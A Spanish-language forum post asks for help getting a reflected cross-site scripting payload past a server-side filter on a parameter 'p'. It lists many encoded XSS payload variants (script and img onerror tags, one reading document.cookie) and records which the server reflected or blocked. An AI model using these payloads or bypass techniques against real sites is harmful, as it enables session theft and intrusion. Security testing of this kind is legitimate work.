Tengo un parámetro, llamémoslo p
que normalmente acepta true
o false
como una cadena.
Puedo enviar el siguiente comando y se imprimirá, lo único que impide que el script se ejecute es el signo %
después de <
.
p=true<%img%20src%3d"x"%20onerror%3dalert(document.cookie);>
Y aquí está el problema, solo puedo enviar scripts que no se ejecutarán. Si envío html / script correcto, el servidor devuelve HTTP/1.1 200 OK
pero con una respuesta vacía. Pero como el servidor acepta <>
, no quiero rendirme todavía.
A partir de las respuestas que he enviado, creo que <
debe ir seguido de un carácter no alfabético para que se ejecute el código, o %**
, excepto por algunos valores, por ejemplo, %2f
y %21
. Puedo enviar valores codificados en URL que se imprimen como texto sin cifrar en la aplicación, pero ningún carácter alfabético que haya intentado funciona, por ejemplo, %73
para s
devuelve una respuesta vacía.
¿Alguna idea de que puedo probar más?
Muestra de las cosas que he probado:
Respuesta a respuesta de solicitud:
<%img%20src%3d"x"%20onerror%3dalert(document.cookie);>
<%script>alert(1)<%/script>
<"script>alert(1)<"/script>
<%A1cript>alert(1)<%A1script>
<%script>alert(1)<%2escript>
<%script>alert(1)<"%2fscript>
<%script>alert(1)<%20script>
<%script>alert(1)<%30script>
<%script>alert(1)<%40script>
<@script>alert(1)<@/script>
<1script>alert(1)<1/script>
Respuesta vacía:
<img%20src%3d"x"%20onerror%3dalert(document.cookie);>
<script>alert(1)</script>
<%script>alert(1)</script>
<script>alert(1)<%/script>
<%73cript>alert(1)<%2Fscript>
<%script>alert(1)<%2fscript>
<%script>alert(1)<%21script>
<%script>alert(1)<%50script>
<%00script>alert(1)<%script>
Si envío solicitudes con %0*
o %1*
, obtengo: HTTP/1.1 500 Internal Server Error
. Sin embargo, el error que se imprime indica Bad Request
<%script>alert(1)<%1escript>
400 Bad Request - carácter XML ilegal encontrado entre los argumentos: facetas: p: <% script > alert (1) < \ u001Escript >